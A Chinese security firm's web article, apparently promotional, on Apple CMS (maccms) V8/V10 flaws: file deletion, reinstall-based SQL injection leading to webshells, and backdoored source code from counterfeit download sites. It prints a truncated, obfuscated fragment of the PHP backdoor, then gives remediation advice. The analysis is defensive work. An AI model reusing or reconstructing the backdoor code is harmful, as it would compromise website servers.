蘋果CMS漏洞修復(fù) 對(duì)SQL遠(yuǎn)程代碼注入及任意文件刪除修補(bǔ)辦法

時(shí)間：2020-01-07作者：青島四海通達(dá)電子科技有限公司瀏覽：139

目前蘋果CMS官方在不斷的升級(jí)補(bǔ)丁，官方較新的漏洞補(bǔ)丁對(duì)于目前爆發(fā)的新漏洞沒(méi)有任何效果。較新補(bǔ)丁的用戶網(wǎng)站還是會(huì)遭受到掛馬的攻擊，很多客戶因此找到我們SINE安全尋求網(wǎng)站安全技術(shù)上的支持，針對(duì)該漏洞我們有著*特的安全解決方案以及防止掛馬攻擊的防護(hù)，包括一些未公開(kāi)的maccms POC漏洞都有修復(fù)補(bǔ)丁。

目前maccms官方被百度網(wǎng)址安全中心提醒您：該站點(diǎn)可能受到黑客攻擊，部分頁(yè)面已被非法篡改！ 蘋果官方網(wǎng)站因?yàn)樘厥庠蛞呀?jīng)停止訪問(wèn)，該內(nèi)容被禁止訪問(wèn)，但是升級(jí)補(bǔ)丁較新的網(wǎng)址還是可以打開(kāi)的。

截圖如下：

蘋果CMS漏洞詳情：

蘋果CMS V8 V10版本存在代碼重裝漏洞，以及代碼后門漏洞，任意文件刪除漏洞，通過(guò)CNVD-2019-43865的信息安全漏洞通報(bào)，可以確認(rèn)maccms V10存在漏洞，可以偽造惡意代碼發(fā)送到網(wǎng)站后端進(jìn)行執(zhí)行，可以刪除網(wǎng)站目錄下的任意文件，可刪除重裝蘋果CMS系統(tǒng)的配置文件，導(dǎo)致可以重新安裝maccms系統(tǒng)，并在安裝過(guò)程中插入sql注入代碼到數(shù)據(jù)庫(kù)中去執(zhí)行并獲取webshell以及服務(wù)器權(quán)限。

蘋果CMS V8 V10 源代碼存在后門漏洞，經(jīng)過(guò)我們SINE安全技術(shù)的檢測(cè)發(fā)現(xiàn)，存在后門的原因是，目前百度搜索蘋果官網(wǎng)，maccms官方，排在百度搜索首頁(yè)的都是仿冒的網(wǎng)站，包括模板，圖片，以及CSS跟真正的官方是一模一樣，很多客戶都是點(diǎn)擊到這個(gè)**網(wǎng)站上去進(jìn)行下載的源代碼，該代碼里隱藏了木馬后門文件,阿里云都無(wú)法檢測(cè)出來(lái)，

error_reporting(E_ERROR);

@ini_set('display_errors','Off');

@ini_set('max_execution_time',20000);

@ini_set('memory_limit','256M');

header("content-Type: text/html; charset=utf-8");

$password = "21232f297a57a5a743894a0e4a801fc3"; //Viv, bebegim..

define('Viv, bebegim.','Denzel-你的英雄'); // 標(biāo)題

function s(){

$str = "66756r6374696s6r20737472646972282473747229207o2072657475726r207374725s

7265706p61636528617272617928275p5p272p272s2s272p27253237272p2725323

代碼如上面所示，是加密過(guò)的，經(jīng)過(guò)我們SINE安全的解密發(fā)現(xiàn)是PHP的腳本木馬，可以繞過(guò)各大服務(wù)器廠商的安全檢測(cè)，包括阿里云，騰訊云，百度云，華為云。

關(guān)于蘋果CMS網(wǎng)站漏洞的修復(fù)方案與辦法

對(duì)任意文件刪除漏洞做安全過(guò)濾與檢查，防止del刪除的語(yǔ)句的執(zhí)行，對(duì)**傳輸過(guò)來(lái)的參數(shù)進(jìn)行嚴(yán)格的檢測(cè)，不管是get,post,cookies，如果您對(duì)代碼不是太懂的話也可以找專業(yè)的網(wǎng)站安全公司來(lái)處理解決蘋果CMS網(wǎng)站被攻擊的問(wèn)題，或者是對(duì)重裝文件進(jìn)行改名以及安裝配置文件進(jìn)行權(quán)限設(shè)置，只讀權(quán)限，對(duì)于存在網(wǎng)站木馬后門的蘋果cms系統(tǒng)，人工對(duì)代碼進(jìn)行安全審計(jì)，對(duì)所有網(wǎng)站目錄下每個(gè)代碼文件都要仔細(xì)的排查，可以下載官方的源代碼進(jìn)行比對(duì)。


青島四海通達(dá)電子科技有限公司專注于服務(wù)器安全,網(wǎng)絡(luò)安全公司,網(wǎng)站安全防護(hù),網(wǎng)站漏洞檢測(cè),滲透測(cè)試,網(wǎng)站安全,網(wǎng)站漏洞掃描,網(wǎng)站安全檢測(cè)等, 歡迎致電 13280888826

• 詞條

  詞條說(shuō)明

• 服務(wù)器安全防護(hù)措施有哪些

  以下是一些常見(jiàn)的服務(wù)器安全防護(hù)措施：定期較新和升級(jí)操作系統(tǒng)和軟件，及時(shí)安裝較新的補(bǔ)丁和安全較新，以修復(fù)已知的漏洞和安全問(wèn)題。強(qiáng)化訪問(wèn)控制，包括使用強(qiáng)密碼、多因素認(rèn)證、限制登錄嘗試次數(shù)、限制遠(yuǎn)程訪問(wèn)等。只授權(quán)必要的人員訪問(wèn)服務(wù)器，并定期審查和較新訪問(wèn)權(quán)限。配置和管理*墻，限制入站和出站流量，阻止未經(jīng)授權(quán)的訪問(wèn)和攻擊。可以使用網(wǎng)絡(luò)安全設(shè)備，如入侵檢測(cè)和防御系統(tǒng)，監(jiān)控網(wǎng)絡(luò)流量和異?；顒?dòng)。使用加密協(xié)議和

• 淺談滲透與漏洞掃描

  ? ? ? ? ? ? ? ? ? ?上半年的網(wǎng)絡(luò)安全事件已經(jīng)結(jié)束，下半年將重新開(kāi)始遠(yuǎn)程。較近，有趣的是，幾天前我的一個(gè)朋友去面試時(shí)，他被一個(gè)簡(jiǎn)單的問(wèn)題直接刷掉了。滲透和漏洞掃描有什么區(qū)別？ ，當(dāng)時(shí)我有點(diǎn)困惑。說(shuō)實(shí)話，對(duì)于一個(gè)剛開(kāi)始的小白來(lái)說(shuō)，兩者之間的區(qū)別可能是一、二、三。當(dāng)時(shí)，我會(huì)告訴面試官兩

• 網(wǎng)站安全防護(hù)需要關(guān)注那些問(wèn)題

  ? ? ? ?企業(yè)要做好網(wǎng)站安全建設(shè)，一般要注意這些網(wǎng)站安全防護(hù)要求：安全管理制度Web應(yīng)用安全、中間件、數(shù)據(jù)庫(kù)安全、主機(jī)安全和網(wǎng)絡(luò)安全。首先，讓我們了解一些與網(wǎng)站安全相關(guān)的術(shù)語(yǔ)概念，以便以后了解網(wǎng)站安全防護(hù)要求的具體內(nèi)容。 ? ? ? ?什么是安全漏洞？ ? ? ? ?一般漏

• 網(wǎng)站存在后門 收到網(wǎng)絡(luò)安全限期整改通知書

  客戶網(wǎng)站因存在漏洞，被下發(fā)了網(wǎng)絡(luò)安全監(jiān)督檢查限期整改通知書，并電話以及郵件告知了客戶，要求3天內(nèi)對(duì)漏洞進(jìn)行修復(fù)以及網(wǎng)絡(luò)安全防護(hù)，對(duì)網(wǎng)站進(jìn)行全面的安全加固，防止漏洞再次的發(fā)生。客戶**次碰到這種情況，也不知道該如何解決，找了當(dāng)時(shí)設(shè)計(jì)網(wǎng)站的公司，他們竟然回復(fù)解決不了。 客戶才找到我們SINESAFE安全公司，說(shuō)實(shí)在的，很多客戶遇到這種情況，**時(shí)間想到的是網(wǎng)站建設(shè)公司，并不會(huì)想到找網(wǎng)站安全公司來(lái)解決問(wèn)